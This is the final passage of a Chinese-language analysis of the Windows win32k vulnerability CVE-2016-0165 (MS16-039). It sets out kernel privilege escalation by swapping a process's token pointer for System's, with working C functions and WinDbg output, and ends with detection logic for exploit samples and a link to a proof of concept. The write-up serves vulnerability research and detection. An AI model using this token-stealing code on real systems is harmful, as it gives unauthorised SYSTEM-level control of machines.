作者:Leeqwind
作者博客:https://xiaodaozhi.com/exploit/56.html

本文將對 CVE-2016-0165 (MS16-039) 漏洞進行一次簡單的分析,并嘗試構造其漏洞利用和內核提權驗證代碼,以及實現對應利用樣本的檢測邏輯。分析環境為 Windows 7 x86 SP1 基礎環境的虛擬機,配置 1.5GB 的內存。

本文分為三篇:

從 CVE-2016-0165 說起:分析、利用和檢測(上)

從 CVE-2016-0165 說起:分析、利用和檢測(中)

從 CVE-2016-0165 說起:分析、利用和檢測(下)

0x6 提權

前面的章節實現了由用戶進程控制的任意內存地址讀寫的能力,接下來將通過該能力實現內核提權。提權,意味著進程特權級的提升,提權之后當前進程擁有的權限將高于提權之前,將可執行在原本特權級別下所無法執行的很多操作,并能夠訪問原本由于 ACL 或完整性校驗機制限制所不能訪問的特定文件、注冊表或進程等對象。


Token

在 Windows 系統中的內核提權通常方法是將目標進程的 Token 結構數據或指針替換成 System 進程等系統進程的 Token 結構數據或指針。這樣一來進程將以系統進程的身份執行任何行為,所有需要校驗令牌的操作都將可以暢通無阻地進行。

第一步首先需要定位到 NT 執行體模塊的內存地址。操作系統為我們提供了枚舉內核模塊的 EnumDeviceDrivers 函數。該函數用于獲取系統中的所有設備驅動程序的加載地址。NT 執行體模塊作為第一內核模塊,其地址會出現在地址數組的第一個元素中。

DWORD_PTR
xxGetNtoskrnlAddress(VOID)
{
    DWORD_PTR AddrList[500] = { 0 };
    DWORD cbNeeded = 0;
    EnumDeviceDrivers((LPVOID *)&AddrList, sizeof(AddrList), &cbNeeded);
    return AddrList[0];
}

清單 6-1 獲取內核執行體模塊地址的驗證代碼片段

在 NT 執行體模塊中存在 PsInitialSystemProcess 導出變量,在系統啟動時 PspInitPhase0 函數執行期間該導出變量被賦值為 System 進程的 EPROCESS 地址。那么接下來只要獲得 PsInitialSystemProcess 變量在 NT 執行體模塊中的偏移,就可以計算出其在當前系統環境中的絕對線性地址。

DWORD_PTR
xxGetSysPROCESS(VOID)
{
    DWORD_PTR Module = 0x00;
    DWORD_PTR NtAddr = 0x00;
    Module = (DWORD_PTR)LoadLibraryA("ntkrnlpa.exe");
    NtAddr = (DWORD_PTR)GetProcAddress((HMODULE)Module, "PsInitialSystemProcess");
    FreeLibrary((HMODULE)Module);
    NtAddr = NtAddr - Module;
    Module = xxGetNtoskrnlAddress();
    if (Module == 0x00)
    {
        return 0x00;
    }
    NtAddr = NtAddr + Module;
    if (!xxPointToGet(NtAddr, &NtAddr, sizeof(DWORD_PTR)))
    {
        return 0x00;
    }
    return NtAddr;
}

清單 6-2 獲取 System 進程 EPROCESS 對象基地址的驗證代碼

在當前 32 位的 Windows 7 操作系統環境下,由于是單核 CPU 并且支持 PAE 機制,所以系統加載的 NT 執行體是 ntkrnlpa.exe 模塊。獲得 PsInitialSystemProcess 變量的地址后,通過前面實現的任意內核地址讀取功能獲取該地址存儲的數值,成功后就得到了 System 進程的進程體 EPROCESS 的基地址。

圖 6-1 進程 EPROCESS 對象組成雙向環形鏈表

眾所周知的是,在 Windows 操作系統中,所有的進程體 EPROCESS 對象以各自的 LIST_ENTRY ActiveProcessLinks 成員域首尾相接,成員域 ActiveProcessLinks.Flink 指向下一個進程 EPROCESS 對象的 ActiveProcessLinks 成員域首地址,ActiveProcessLinks.Blink 指向上一個進程 EPROCESS 對象的 ActiveProcessLinks 成員域首地址。像這樣地,所有的進程組成一個龐大的環形雙向鏈表。獲得了 System 進程的 EPROCESS 對象基地址,就可以“順藤摸瓜”找到當前進程的 EPROCESS 基地址。

kd> dt nt!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x098 ProcessLock      : _EX_PUSH_LOCK
   +0x0a0 CreateTime       : _LARGE_INTEGER
   ...
   +0x0b4 UniqueProcessId  : Ptr32 Void
   +0x0b8 ActiveProcessLinks : _LIST_ENTRY
   ...
   +0x0f8 Token            : _EX_FAST_REF
   ...
   +0x16c ImageFileName    : [15] UChar
   ...
   +0x2a8 TimerResolutionLink : _LIST_ENTRY
   +0x2b0 RequestedTimerResolution : Uint4B
   +0x2b4 ActiveThreadsHighWatermark : Uint4B
   +0x2b8 SmallestTimerResolution : Uint4B
   +0x2bc TimerResolutionStackRecord : Ptr32 _PO_DIAG_STACK_RECORD

清單 6-3 在 WinDBG 中顯示的 EPROCESS 結構

根據獲取的各個成員域的偏移,通過 ActiveProcessLinks 成員的值獲取下一個進程 EPROCESS 對象的 ActiveProcessLinks 成員域首地址就可以計算出 EPROCESS 的基地址。判斷當前遍歷到的 EPROCESS 對象 UniqueProcessId 成員域的值是否和當前進程的進程 ID 相等,如果相等就定位到了當前進程的 EPROCESS 節點。

DWORD_PTR
xxGetTarPROCESS(DWORD_PTR SysPROC)
{
    if (SysPROC == 0x00)
    {
        return 0x00;
    }
    DWORD_PTR point = SysPROC;
    DWORD_PTR value = 0x00;
    do
    {
        value = 0x00;
        xxPointToGet(point + off_EPROCESS_UniqueProId, &value, sizeof(DWORD_PTR));
        if (value == 0x00)
        {
            break;
        }
        if (value == GetCurrentProcessId())
        {
            return point;
        }
        value = 0x00;
        xxPointToGet(point + off_EPROCESS_ActiveLinks, &value, sizeof(DWORD_PTR));
        if (value == 0x00)
        {
            break;
        }
        point = value - off_EPROCESS_ActiveLinks;
        if (point == SysPROC)
        {
            break;
        }
    } while (TRUE);
    return 0x00;
}

清單 6-4 根據 System 進程獲取當前進程 EPROCESS 的驗證代碼

獲取到了 System 進程和當前進程的 EPROCESS 對象的地址,接下來就是對 Token 的替換了。有兩種方法可選:一是將當前進程 EPROCESS 中存儲的 Token 指針替換為 System 進程的 Token 指針,二是將當前進程 EPROCESS 的成員 Token 指針指向的 Token 塊中的數據替換成 System 進程擁有的 Token 塊的數據。在本分析中選擇前一種方法。

進程 EPROCESS 對象的 Token 成員域是一個 _EX_FAST_REF 類型的成員,定義如下:

kd> dt _EX_FAST_REF
ntdll!_EX_FAST_REF
   +0x000 Object           : Ptr32 Void
   +0x000 RefCnt           : Pos 0, 3 Bits
   +0x000 Value            : Uint4B

數值的低 3 位表示引用計數,去除低 3 位數值后的 32 位完整數值指向實際表示的內存地址。

Token 結構中存儲與當前進程相關的安全令牌的數據內容,如用戶安全標識符(Sid),特權級(Privileges)等,代表當前進程作為訪問者角色訪問其他被訪問對象時,訪問權限和身份校驗的依據。當前的 System 進程的 Token 結構塊的數據如下:

kd> !token 89a01270
_TOKEN 0xffffffff89a01270
TS Session ID: 0
User: S-1-5-18
User Groups: 
 00 S-1-5-32-544
    Attributes - Default Enabled Owner 
 01 S-1-1-0
    Attributes - Mandatory Default Enabled 
 02 S-1-5-11
    Attributes - Mandatory Default Enabled 
 03 S-1-16-16384
    Attributes - GroupIntegrity GroupIntegrityEnabled 
Primary Group: S-1-5-18
Privs: 
 02 0x000000002 SeCreateTokenPrivilege            Attributes - 
 03 0x000000003 SeAssignPrimaryTokenPrivilege     Attributes - 
 ...
 33 0x000000021 SeIncreaseWorkingSetPrivilege     Attributes - Enabled Default 
 34 0x000000022 SeTimeZonePrivilege               Attributes - Enabled Default 
 35 0x000000023 SeCreateSymbolicLinkPrivilege     Attributes - Enabled Default 
Authentication ID:         (0,3e7)
Impersonation Level:       Anonymous
TokenType:                 Primary
Source: *SYSTEM*           TokenFlags: 0x2000 ( Token in use )
Token ID: 3ea              ParentToken ID: 0
Modified ID:               (0, 3eb)
RestrictedSidCount: 0      RestrictedSids: 0x0000000000000000
OriginatingLogonSession: 0

清單 6-5 System 進程的 Token 結構塊的數據

在這里由于在提權完成后會將 Token 值替換回去,所以暫不關注 Token 指針的引用計數的增減。

BOOL
xxModifyTokenPointer(DWORD_PTR dstPROC, DWORD_PTR srcPROC)
{
    if (dstPROC == 0x00 || srcPROC == 0x00)
    {
        return FALSE;
    }
    // get target process original token pointer
    xxPointToGet(dstPROC + off_EPROCESS_Token, &dstToken, sizeof(DWORD_PTR));
    if (dstToken == 0x00)
    {
        return FALSE;
    }
    // get system process token pointer
    xxPointToGet(srcPROC + off_EPROCESS_Token, &srcToken, sizeof(DWORD_PTR));
    if (srcToken == 0x00)
    {
        return FALSE;
    }
    // modify target process token pointer to system
    xxPointToHit(dstPROC + off_EPROCESS_Token, &srcToken, sizeof(DWORD_PTR));
    // just test if the modification is successful
    DWORD_PTR tmpToken = 0x00;
    xxPointToGet(dstPROC + off_EPROCESS_Token, &tmpToken, sizeof(DWORD_PTR));
    if (tmpToken != srcToken)
    {
        return FALSE;
    }
    return TRUE;
}

清單 6-6 將目標進程 Token 指針替換為源進程 Token 指針的驗證代碼

提權成功后創建新的命令提示符進程作為后續行為執行進程,將 Token 替換回原來的值以保證釋放進程 Token 時不會發生異常,當前進程的任務就完成了。接下來進行后續的善后操作,隨后進程正常退出。

在新啟動的命令提示符進程中使用 whoami 命令測試進程權屬,可以觀測到新啟動的進程已屬于 System 用戶特權執行:

圖 6-2 啟動的命令提示符進程已屬于 System 用戶特權

0x7 檢測

根據該漏洞的利用機理,可實現代碼對利用該漏洞的樣本文件進行檢測。該漏洞利用的檢測邏輯相對比較簡單,編寫內核驅動程序并對在漏洞觸發關鍵位置插入陷阱幀,將相關寄存器的值以參數的形式傳入陷阱幀處理函數中,并在處理函數中判斷寄存器的值是否滿足漏洞觸發條件。

本分析中使用的環境是 32 位 Windows 7 SP1 基礎環境,其 win32k 模塊的版本為 6.1.7601.17514。分配緩沖區內存之前的漏洞關鍵位置的匯編指令:

.text:00073FEA    lea     eax, [ecx+1]
.text:00073FED    imul    eax, 28h
.text:00073FF0    test    eax, eax
.text:00073FF2    jz      short loc_7400A
.text:00073FF4    push    6E677247h       ; Tag
.text:00073FF9    push    eax             ; NumberOfBytes
.text:00073FFA    push    21h             ; PoolType
.text:00073FFC    call    ds:__imp__ExAllocatePoolWithTag@12 ; ExAllocatePoolWithTag(x,x,x)

清單 7-1 漏洞關鍵位置的匯編指令

檢測邏輯以如下的偽代碼做簡單說明:

  ULONG tmp = ecx;
  tmp++;
  if (tmp < ecx)
  {
    // hit vuln exploit
  }
  if ((ULONG)(tmp * 0x28) < tmp)
  {
    // hit vuln exploit
  }

清單 7-2 檢測邏輯的偽代碼

命中條件之后對命中的上下文相關數據依照個人意愿進行記錄或傳輸。命中記錄的示例:

圖 7-1 漏洞命中的檢測記錄示例

0x8 鏈接

[0] 本分析的 POC 下載

https://github.com/leeqwind/HolicPOC/blob/master/windows/win32k/CVE-2016-0165/x86.cpp

[1] GDI Data Types

https://docs.microsoft.com/zh-cn/windows-hardware/drivers/display/gdi-data-types

[2] Windows GDI

https://msdn.microsoft.com/en-us/library/windows/desktop/dd145203(v=vs.85).aspx

[3] GDI Objects

https://msdn.microsoft.com/en-us/library/windows/desktop/ms724291(v=vs.85).aspx

[4] MS16-039 - "Windows 10" 64 bits Integer Overflow exploitation by using GDI objects

https://www.coresecurity.com/blog/ms16-039-windows-10-64-bits-integer-overflow-exploitation-by-using-gdi-objects

[5] Abusing GDI for ring0 exploit primitives

https://www.coresecurity.com/blog/abusing-gdi-for-ring0-exploit-primitives

[6] The Big Trick Behind Exploit MS12-034

https://www.coresecurity.com/blog/the-big-trick-behind-exploit-ms12-034

[7] windows_kernel_address_leaks

https://github.com/sam-b/windows_kernel_address_leaks

[8] Pool Feng-Shui –> Pool Overflow

https://rootkits.xyz/blog/2017/11/kernel-pool-overflow/

[9] Kernel Pool Exploitation on Windows 7

https://media.blackhat.com/bh-dc-11/Mandt/BlackHat_DC_2011_Mandt_kernelpool-wp.pdf

[10] SURFOBJ structure

https://msdn.microsoft.com/en-us/library/windows/hardware/ff569901(v=vs.85).aspx

[11] THE BMP FILE FORMAT

http://www.ece.ualberta.ca/~elliott/ee552/studentAppNotes/2003_w/misc/bmp_file_format/bmp_file_format.htm

[12] Microsoft 安全公告 MS16-039 - 嚴重

https://technet.microsoft.com/library/security/ms16-039


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/581/